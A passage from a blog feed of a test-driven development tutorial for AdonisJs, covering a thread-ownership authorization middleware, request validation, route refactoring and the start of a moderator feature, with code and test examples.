<p>Remember that the factory for threads is now also creating a user since it depends on it.</p>
<p>The test fails with the error</p>
<pre class="hljs"><code>expected <span class="hljs-number">204</span> to equal <span class="hljs-number">403</span>
  <span class="hljs-number">204</span> =&gt; <span class="hljs-number">403</span>
</code></pre>
<p>Let's go into the ThreadController and add the authorization logic there:</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> destroy({ params, auth, response }) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)

    <span class="hljs-keyword">if</span> (thread.user_id !== auth.user.id) {
        <span class="hljs-keyword">return</span> response.status(<span class="hljs-number">403</span>).send()
    }

    <span class="hljs-keyword">await</span> thread.delete()
}
</code></pre>
<p>Now the test passes. However, we have broken the test &quot;authorized user can delete threads&quot; because it now returns a 403 even though we expect it to return 204.</p>
<p>That makes perfect sense. If we take a look at the test we authenticate using not the owner of the thread, but using a new user. Let's get that fixed.</p>
<p>We can replace</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
<span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
<span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(thread.url()).send().loginVia(user).end()
</code></pre>
<p>with</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
<span class="hljs-keyword">const</span> owner = <span class="hljs-keyword">await</span> thread.user().first()
<span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(thread.url()).send().loginVia(owner).end()
</code></pre>
<p>As you can see we will get the user from the thread instance. Since we haven't defined that relationship (only the other way around), we will receive the error <code>thread.user is not a function</code>. So let's add the relationship to &quot;App/Models/Thread.js&quot;.</p>
<pre class="hljs"><code>user() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.belongsTo(<span class="hljs-string">'App/Models/User'</span>)
}
</code></pre>
<p>And there we go, the tests are green.</p>
<x-ad />
<hr>
<p>Let's get a quick refactoring in place. In the ThreadController we added <code>return response.status(403).send()</code>. Simply replace that bit with <code>return response.forbidden()</code> and you should still get green!</p>
<p>Before we abstract the authorization logic into a policy, let's first make it worth doing so. What I mean is, let's first create some duplication, before we abstract things, and what's a better fit for this than updating threads!</p>
<pre class="hljs"><code>test(<span class="hljs-string">'authorized user can update title and body of threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> owner = <span class="hljs-keyword">await</span> thread.user().first()
  <span class="hljs-keyword">const</span> attributes = { <span class="hljs-attr">title</span>: <span class="hljs-string">'new title'</span>, <span class="hljs-attr">body</span>: <span class="hljs-string">'new body'</span> }
  <span class="hljs-keyword">const</span> updatedThreadAttributes = { ...thread.toJSON(), ...attributes }

  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.put(thread.url()).loginVia(owner).send(attributes).end()
  <span class="hljs-keyword">await</span> thread.reload()

  response.assertStatus(<span class="hljs-number">200</span>)
  response.assertJSON({ <span class="hljs-attr">thread</span>: thread.toJSON() })
  assert.deepEqual(thread.toJSON(), updatedThreadAttributes)
})
</code></pre>
<p>So first we create a thread, define all the attributes we want to update and then merge the two together to create an image of how the thread should be updated. Then we send off the request and refresh our thread model.</p>
<p>Finally we assert the response status and text as well as check if the attributes were updated accordingly.</p>
<p>Running the test suite results in a 404, so let's add it to <code>start/routes.js</code>.</p>
<pre class="hljs"><code>Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>]).middleware(<span class="hljs-string">'auth'</span>)
</code></pre>
<p>You should already be familiar with the pattern at this point. You get a 500, so add <code>console.log(response.error)</code> in the unit test right after we fire the request. This should log <code>RuntimeException: E_UNDEFINED_METHOD: Method update missing on App/Controllers/Http/ThreadController</code>.</p>
<p>Time to add the method to our ThreadController</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> update({ response }) {
    <span class="hljs-keyword">return</span> response.json({ })
}
</code></pre>
<p>And we now get the error <code>expected {} to deeply equal { Object (thread) }</code>.</p>
<p>So time to get serious with the update method, here is the full code</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> update({ request, params, response }) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)
    thread.merge(request.only([<span class="hljs-string">'title'</span>, <span class="hljs-string">'body'</span>]))
    <span class="hljs-keyword">await</span> thread.save()
    <span class="hljs-keyword">return</span> response.json({ thread })
}
</code></pre>
<p>This gets the tests to pass.</p>
<p>Let's add a test to confirm that the auth middleware is applied</p>
<pre class="hljs"><code>test(<span class="hljs-string">'unauthenticated user cannot update threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.put(thread.url()).send().end()
  response.assertStatus(<span class="hljs-number">401</span>)
})
</code></pre>
<p>Passes!</p>
<p>And a test to check that only the owner of a thread can really update it.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'thread can not be updated by a user who did not create it'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> notOwner = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.put(thread.url()).send().loginVia(notOwner).end()
  response.assertStatus(<span class="hljs-number">403</span>)
})
</code></pre>
<p>Fails :/</p>
<p>Great, so let's copy over the authorization logic from the destroy method.</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> update({ request, auth, params, response }) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)
    <span class="hljs-keyword">if</span> (thread.user_id !== auth.user.id) {
        <span class="hljs-keyword">return</span> response.forbidden()
    }

    thread.merge(request.only([<span class="hljs-string">'title'</span>, <span class="hljs-string">'body'</span>]))
    <span class="hljs-keyword">await</span> thread.save()
    <span class="hljs-keyword">return</span> response.json({ thread })
}
</code></pre>
<p>The test passes, but now we have created duplication. Time to create a policy! For this we will go away from our feature test and break down to a unit test.
Now Adonis doesn't have a concept of policies, so we will use a middleware for this, hence the title &quot;Testing middlewares&quot;.</p>
<p>First let's create a new unit test for the non existing middleware.</p>
<pre class="hljs"><code>adonis make:<span class="hljs-built_in">test</span> ModifyThreadPolicy
</code></pre>
<p>and select &quot;Unit test&quot;.</p>
<p>Now replace the example test with the following test case</p>
<pre class="hljs"><code>test(<span class="hljs-string">'non creator of a thread cannot modify it'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  
})
</code></pre>
<p>Great. So what is the best way to test a middleware? Well, we can simply import &quot;Route&quot; and dynamically create a route that is only valid during testing.</p>
<p>Let's do just that and pull in all traits and modules we need later on.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'Modify Thread Policy'</span>)

<span class="hljs-keyword">const</span> Route = use(<span class="hljs-string">'Route'</span>)
<span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

trait(<span class="hljs-string">'Test/ApiClient'</span>)
trait(<span class="hljs-string">'Auth/Client'</span>)
trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'non creator of a thread cannot modify it'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> action = <span class="hljs-function">(<span class="hljs-params">{ response }</span>) =&gt;</span> response.json({ <span class="hljs-attr">ok</span>: <span class="hljs-literal">true</span> })
  Route.post(<span class="hljs-string">'test/modify-thread-policy/:id'</span>, action).middleware([<span class="hljs-string">'auth'</span>, <span class="hljs-string">'modifyThreadPolicy'</span>])
})
</code></pre>
<p>Now that we have the route, let's send off a request and do some assertions!</p>
<pre class="hljs"><code>  <span class="hljs-comment">// ...</span>
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> notOwner = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">`test/modify-thread-policy/<span class="hljs-subst">${thread.id}</span>`</span>).loginVia(notOwner).send().end()
  <span class="hljs-built_in">console</span>.log(response.error)
  response.assertStatus(<span class="hljs-number">403</span>)
</code></pre>
<p>Running the test should throw the error <code>RuntimeException: E_MISSING_NAMED_MIDDLEWARE: Cannot find any named middleware for {modifyThreadPolicy}. Make sure you have registered it inside start/kernel.js file.</code>.</p>
<p>So let's do as it says and add the following line in the <code>namedMiddleware</code> array in &quot;start/kernel.js&quot;.</p>
<pre class="hljs"><code>  modifyThreadPolicy: <span class="hljs-string">'App/Middleware/ModifyThreadPolicy'</span>
</code></pre>
<p>Running the test now returns an error that Adonis couldn't find the module.</p>
<p>Let's create the policy by running</p>
<pre class="hljs"><code>adonis make:middleware ModifyThreadPolicy
</code></pre>
<p>and select 'For HTTP requests'.</p>
<p>Let's run the test again. Since we didn't add any logic to the middleware it will  not do anything and forward the request to the action, which returns the status code 200.</p>
<pre class="hljs"><code>expected 200 to equal 403
  200 =&gt; 403
</code></pre>
<p>Since we already have the logic we need in the controller, let's go ahead and copy it over to the middleware.</p>
<p>Altogether, our middleware looks like this</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>


<span class="hljs-keyword">const</span> Thread = use(<span class="hljs-string">'App/Models/Thread'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ModifyThreadPolicy</span> </span>{
  <span class="hljs-keyword">async</span> handle ({ params, auth, response }, next) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)
    <span class="hljs-keyword">if</span> (thread.user_id !== auth.user.id) {
      <span class="hljs-keyword">return</span> response.forbidden()
    }

    <span class="hljs-keyword">await</span> next()
  }
}

<span class="hljs-built_in">module</span>.exports = ModifyThreadPolicy
</code></pre>
<p>And it passes!</p>
<p>Let's add another unit test in &quot;modify-thread-policy.spec.js&quot; to test the happy path.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'creator of a thread can modify it'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> action = <span class="hljs-function">(<span class="hljs-params">{ response }</span>) =&gt;</span> response.json({ <span class="hljs-attr">ok</span>: <span class="hljs-literal">true</span> })
  Route.post(<span class="hljs-string">'test/modify-thread-policy/:id'</span>, action).middleware([<span class="hljs-string">'auth'</span>, <span class="hljs-string">'modifyThreadPolicy'</span>])

  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> owner = <span class="hljs-keyword">await</span> thread.user().first()
  <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">`test/modify-thread-policy/<span class="hljs-subst">${thread.id}</span>`</span>).loginVia(owner).send().end()
  response.assertStatus(<span class="hljs-number">200</span>)
})
</code></pre>
<p>To avoid creating the route twice, let's add a <code>before</code> section to the test file.</p>
<p>Import it at the top of the file like so: <code> const { test, trait, before } = use('Test/Suite')('Modify Thread Policy')</code>, remove the route creation logic from each test and put the following code before the tests:</p>
<pre class="hljs"><code>before(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
  <span class="hljs-keyword">const</span> action = <span class="hljs-function">(<span class="hljs-params">{ response }</span>) =&gt;</span> response.json({ <span class="hljs-attr">ok</span>: <span class="hljs-literal">true</span> })
  Route.post(<span class="hljs-string">'test/modify-thread-policy/:id'</span>, action).middleware([<span class="hljs-string">'auth'</span>, <span class="hljs-string">'modifyThreadPolicy'</span>])
})
</code></pre>
<p>Alright, with our unit test in place, let's go back to our functional test.
Delete the authorization check from the ThreadController's destroy and update method.</p>
<pre class="hljs"><code><span class="hljs-comment">// delete this</span>

<span class="hljs-keyword">if</span> (thread.user_id !== auth.user.id) {
    <span class="hljs-keyword">return</span> response.forbidden()
}
</code></pre>
<p>And as expected, the two tests now fail</p>
<pre class="hljs"><code>1. thread can not be deleted by a user who did not create it
  expected 204 to equal 403
  204 =&gt; 403

  2. thread can not be updated by a user who did not create it
  expected 200 to equal 403
  200 =&gt; 403
</code></pre>
<p>So let's head over to <code>start/routes.js</code> and add the middleware we created to the update and destroy route.</p>
<pre class="hljs"><code>Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>]).middleware(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>([
    [[<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>], [<span class="hljs-string">'auth'</span>]],
    [[<span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>], [<span class="hljs-string">'modifyThreadPolicy'</span>]]
]))
</code></pre>
<p>While it looks complex, the tests pass again! We will refactor it soon...</p>
<p>Since we already check for the thread's existence in the middleware, we can refactor our ThreadController's destroy method to simply do</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> destroy({ params }) {
    <span class="hljs-keyword">await</span> Thread.query().where(<span class="hljs-string">'id'</span>, params.id).delete()
}
</code></pre>
<p>And that's all there is for this episode! Next time let's take a look at validation since we are currently able to insert an empty title and body.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 6. Validation]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-6/</link>
            <guid>tdd-with-adonisjs-6</guid>
            <description><![CDATA[Currently it is possible to create a thread without a body or title. So let's add some validation to our controller.]]></description>
            <content:encoded><![CDATA[<p>Currently it is possible to create a thread without a body or title. So let's add validation to our controller.</p>
<p>You can find all the changes in this commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/5e1e4cb1c4f78ffc947cdeec00609f4dfc4648ba">https://github.com/MZanggl/tdd-adonisjs/commit/5e1e4cb1c4f78ffc947cdeec00609f4dfc4648ba</a></p>
<p>As always, let's create the test first.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can not create thread with no body'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).loginVia(user).send({ <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span> }).end()
  response.assertStatus(<span class="hljs-number">400</span>)
})
</code></pre>
<p>And the response we get is:</p>
<pre class="hljs"><code>  1. can not create thread with no body
  expected 200 to equal 400
  200 =&gt; 400
</code></pre>
<p>Let's make the test pass by adding validation. Before we go into creating a custom validation though, let's first apply the easiest, simplest and fastest solution we can possibly think of. Adding the validation manually in the ThreadController. Put this at the top of the store method.</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (!request.input(<span class="hljs-string">'body'</span>)) {
   <span class="hljs-keyword">return</span> response.badRequest()
}
</code></pre>
<p>And it passes!</p>
<p>Let's add the same thing for the title, we can do this in the same test even. It will look like this</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can not create thread with no body or title'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).loginVia(user).send({ <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span> }).end()
  response.assertStatus(<span class="hljs-number">400</span>)

  response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).loginVia(user).send({ <span class="hljs-attr">body</span>: <span class="hljs-string">'test body'</span> }).end()
  response.assertStatus(<span class="hljs-number">400</span>)
})
</code></pre>
<p>Because we only added validation for the 'body' field, it will fail with the same error as before, so let's also add validation for the title field as well.</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (!request.input(<span class="hljs-string">'body'</span>) || !request.input(<span class="hljs-string">'title'</span>)) {
  <span class="hljs-keyword">return</span> response.badRequest()
}
</code></pre>
<p>And that makes the tests pass!</p>
<x-ad />
<h1 id="refactor">Refactor</h1>
<p>Let's try using Adonis' validation methods instead of the custom validation we have right now.</p>
<p>First, import the validator at the top of the ThreadController.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { validate } = use(<span class="hljs-string">'Validator'</span>)
</code></pre>
<p>Now, replace the custom validation with</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> rules = { <span class="hljs-attr">title</span>: <span class="hljs-string">'required'</span>, <span class="hljs-attr">body</span>: <span class="hljs-string">'required'</span> }
<span class="hljs-keyword">const</span> validation = <span class="hljs-keyword">await</span> validate(request.all(), rules)
<span class="hljs-keyword">if</span> (validation.fails()) {
  <span class="hljs-keyword">return</span> response.badRequest()
}
</code></pre>
<p>Running this will fail, if you console.log <code>response.error</code> in the tests, it will tell us that we haven't installed the validation dependency yet.</p>
<p>So let's do this by running the command</p>
<pre class="hljs"><code>adonis install @adonisjs/validator
</code></pre>
<p>Next, go to <code>start/app.js</code> and add the validator to the providers array.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> providers = [
  <span class="hljs-comment">// ...</span>
  <span class="hljs-string">'@adonisjs/validator/providers/ValidatorProvider'</span>
]
</code></pre>
<p>And the tests pass. Finally let's take all this logic and put it in a separate file. First, let's make a validator file by running the following command:</p>
<pre class="hljs"><code>adonis make:validator StoreThread
</code></pre>
<p>Next let's copy the rules from the ThreadController to the StoreThread.js file.</p>
<pre class="hljs"><code><span class="hljs-keyword">get</span> rules () {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">title</span>: <span class="hljs-string">'required'</span>, 
      <span class="hljs-attr">body</span>: <span class="hljs-string">'required'</span>
    }
  }
</code></pre>
<p>And the way we can apply the validator is by adding it to &quot;start/routes.js&quot;.</p>
<pre class="hljs"><code><span class="hljs-comment">// start/routes.js</span>

Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>])
    .middleware(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>([
        [[<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>], [<span class="hljs-string">'auth'</span>]],
        [[<span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>], [<span class="hljs-string">'modifyThreadPolicy'</span>]]
    ]))
    .validator(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>([
        [[<span class="hljs-string">'store'</span>], [<span class="hljs-string">'StoreThread'</span>]],
    ]))
</code></pre>
<p>Let's refactor this later, it is becoming very complex...</p>
<p>Let's remove all the validation we had in the ThreadController. Then try running the tests again, still green!</p>
<p>Btw. we didn't add a unit test to the validator because that part is already tested by adonis, once we have a custom validator we would need to test it though.</p>
<p>Now that we have proper validation, we can also test the validation message it returns in our tests</p>
<pre class="hljs"><code>  response.assertJSONSubset([{ <span class="hljs-attr">message</span>: <span class="hljs-string">'required validation failed on body'</span> }])
</code></pre>
<p>However, this fails with the error <code>expected {} to contain subset [ Array(1) ]</code>.</p>
<p>Taking a look at the documentation, AdonisJs' validator respects the 'accept' header and just doesn't return JSON by default. Let's fix this by adding the &quot;accept JSON&quot; header to our test.</p>
<pre class="hljs"><code><span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).header(<span class="hljs-string">'accept'</span>, <span class="hljs-string">'application/json'</span>)...
</code></pre>
<p>Do this for both of the API requests in our test.</p>
<hr>
<p>Resource routes provided us a benefit in the beginning but with middleware and validators added, it now looks more complicated than it needs to be.</p>
<p>routes.js</p>
<pre class="hljs"><code>Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>])
    .middleware(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>([
        [[<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>], [<span class="hljs-string">'auth'</span>]],
        [[<span class="hljs-string">'destroy'</span>, <span class="hljs-string">'update'</span>], [<span class="hljs-string">'modifyThreadPolicy'</span>]]
    ]))
    .validator(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>([
        [[<span class="hljs-string">'store'</span>], [<span class="hljs-string">'StoreThread'</span>]],
    ]))
</code></pre>
<p>Let's simplify it again:</p>
<pre class="hljs"><code>Route.group(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    Route.post(<span class="hljs-string">''</span>, <span class="hljs-string">'ThreadController.store'</span>).middleware(<span class="hljs-string">'auth'</span>).validator(<span class="hljs-string">'StoreThread'</span>)
    Route.put(<span class="hljs-string">':id'</span>, <span class="hljs-string">'ThreadController.update'</span>).middleware(<span class="hljs-string">'auth'</span>, <span class="hljs-string">'modifyThreadPolicy'</span>)
    Route.delete(<span class="hljs-string">':id'</span>, <span class="hljs-string">'ThreadController.destroy'</span>).middleware(<span class="hljs-string">'auth'</span>, <span class="hljs-string">'modifyThreadPolicy'</span>)
}).prefix(<span class="hljs-string">'threads'</span>)
</code></pre>
<p>Thanks to the &quot;luxury&quot; of having tests, we can change things around the way we want and don't have to worry about breaking things! See for yourself and run the tests.</p>
<hr>
<p>Let's also add the validation to updating threads:</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can not update thread with no body or title'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> thread.user().first()
  <span class="hljs-keyword">const</span> put = <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> client.put(thread.url()).header(<span class="hljs-string">'accept'</span>, <span class="hljs-string">'application/json'</span>).loginVia(user)

  <span class="hljs-keyword">let</span> response = <span class="hljs-keyword">await</span> put().send({ <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span> }).end()
  response.assertStatus(<span class="hljs-number">400</span>)
  response.assertJSONSubset([{ <span class="hljs-attr">message</span>: <span class="hljs-string">'required validation failed on body'</span> }])

  response = <span class="hljs-keyword">await</span> put().send({ <span class="hljs-attr">body</span>: <span class="hljs-string">'test body'</span> }).end()
  response.assertStatus(<span class="hljs-number">400</span>)
  response.assertJSONSubset([{ <span class="hljs-attr">message</span>: <span class="hljs-string">'required validation failed on title'</span> }])
})
</code></pre>
<p>This will fail, so let's also add the validator to the routes.js:</p>
<pre class="hljs"><code>Route.put(<span class="hljs-string">':id'</span>, <span class="hljs-string">'ThreadController.update'</span>).middleware(<span class="hljs-string">'auth'</span>, <span class="hljs-string">'modifyThreadPolicy'</span>).validator(<span class="hljs-string">'StoreThread'</span>)
</code></pre>
<hr>
<p>To complete all routes for our cruddy controller, let's add tests for fetching threads real quick.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can access single resource'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.get(thread.url()).send().end()
  response.assertStatus(<span class="hljs-number">200</span>)
  response.assertJSON({ <span class="hljs-attr">thread</span>: thread.toJSON() })
})

test(<span class="hljs-string">'can access all resources'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> threads = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).createMany(<span class="hljs-number">3</span>)
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.get(<span class="hljs-string">'threads'</span>).send().end()
  response.assertStatus(<span class="hljs-number">200</span>)
  response.assertJSON({ <span class="hljs-attr">threads</span>: threads.map(<span class="hljs-function"><span class="hljs-params">thread</span> =&gt;</span> thread.toJSON()).sort(<span class="hljs-function">(<span class="hljs-params">a, b</span>) =&gt;</span> a.id - b.id) })
})
</code></pre>
<p>The first test fetches a single thread, while the second one fetches all threads.</p>
<blockquote>
<p>Note: if you are confused about the &quot;sort&quot; method: &quot;Factory.createMany&quot; currently creates the records in random order, and since we assign an autoincrement we have to sort the threads again to fix their order.</p>
</blockquote>
<p>Here are the routes we have to add in &quot;start/routes.js&quot;:</p>
<pre class="hljs"><code>Route.get(<span class="hljs-string">''</span>, <span class="hljs-string">'ThreadController.index'</span>)
Route.get(<span class="hljs-string">':id'</span>, <span class="hljs-string">'ThreadController.show'</span>)
</code></pre>
<p>and the methods in &quot;ThreadController&quot;:</p>
<pre class="hljs"><code>    <span class="hljs-keyword">async</span> index({ response }) {
        <span class="hljs-keyword">const</span> threads = <span class="hljs-keyword">await</span> Thread.all()
        <span class="hljs-keyword">return</span> response.json({ threads })
    }

    <span class="hljs-keyword">async</span> show({ params, response }) {
        <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)
        <span class="hljs-keyword">return</span> response.json({ thread })
    }
</code></pre>
<p>And that's it. Next time we will revisit the existing authorization tests and add the possibility for moderators to modify and delete threads!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 7. Moderators]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-7/</link>
            <guid>tdd-with-adonisjs-7</guid>
            <description><![CDATA[Adding a new feature for moderators to modify threads.]]></description>
            <content:encoded><![CDATA[<p>Let's build an option for moderators to delete/update any thread.</p>
<p>You can find all the changes in the following commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/1618a0c17e80ac2f75c148f4bacb054757d1eaee">https://github.com/MZanggl/tdd-adonisjs/commit/1618a0c17e80ac2f75c148f4bacb054757d1eaee</a></p>
<pre class="hljs"><code>test(<span class="hljs-string">'moderator can delete threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> moderator = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create({ <span class="hljs-attr">type</span>: <span class="hljs-number">1</span> })
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(thread.url()).send().loginVia(moderator).end()
  response.assertStatus(<span class="hljs-number">204</span>)
  assert.equal(<span class="hljs-keyword">await</span> Thread.getCount(), <span class="hljs-number">0</span>)
})
</code></pre>
<p>As you can see we simply create a user through our factory. But this time, we pass an object. This is to override the factory settings.
To make the override work, let's head over to factory.js, where we receive the passed data as the third argument in our user factory.</p>
<pre class="hljs"><code>Factory.blueprint(<span class="hljs-string">'App/Models/User'</span>, (faker, i, data) =&gt; {
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">username</span>: faker.username(),
    <span class="hljs-attr">email</span>: faker.email(),
    <span class="hljs-attr">password</span>: <span class="hljs-string">'123456'</span>,
    ...data,
  }
})
</code></pre>
<p>Run the tests and we get the error <code>SQLITE_ERROR: table users has no column named type</code>.</p>
<p>So let's add the &quot;type&quot; field to our user migrations. We will simply add it to the existing migration file that ends with <code>_user.js.</code> in the &quot;database/migrations&quot; folder. (Tip: in vscode just search for &quot;migration user&quot; and the fuzzy search will find it)</p>
<pre class="hljs"><code>table.integer(<span class="hljs-string">'type'</span>).defaultTo(<span class="hljs-number">0</span>)
</code></pre>
<p>The way the &quot;type&quot; field works for now is 0 = normal user and 1 = moderator.</p>
<p>Running the test again returns</p>
<pre class="hljs"><code>expected <span class="hljs-number">403</span> to equal <span class="hljs-number">204</span>
  <span class="hljs-number">403</span> =&gt; <span class="hljs-number">204</span>
</code></pre>
<p>This makes sense, moderators currently receive a 403 (forbidden), since we haven't made the change in our middleware yet. For that let's first break down from the feature test into a unit test in <code>modify-thread-policy.spec.js</code></p>
<p>Add the following test</p>
<pre class="hljs"><code>test(<span class="hljs-string">'moderator can modify threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> moderator = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create({ <span class="hljs-attr">type</span>: <span class="hljs-number">1</span> })
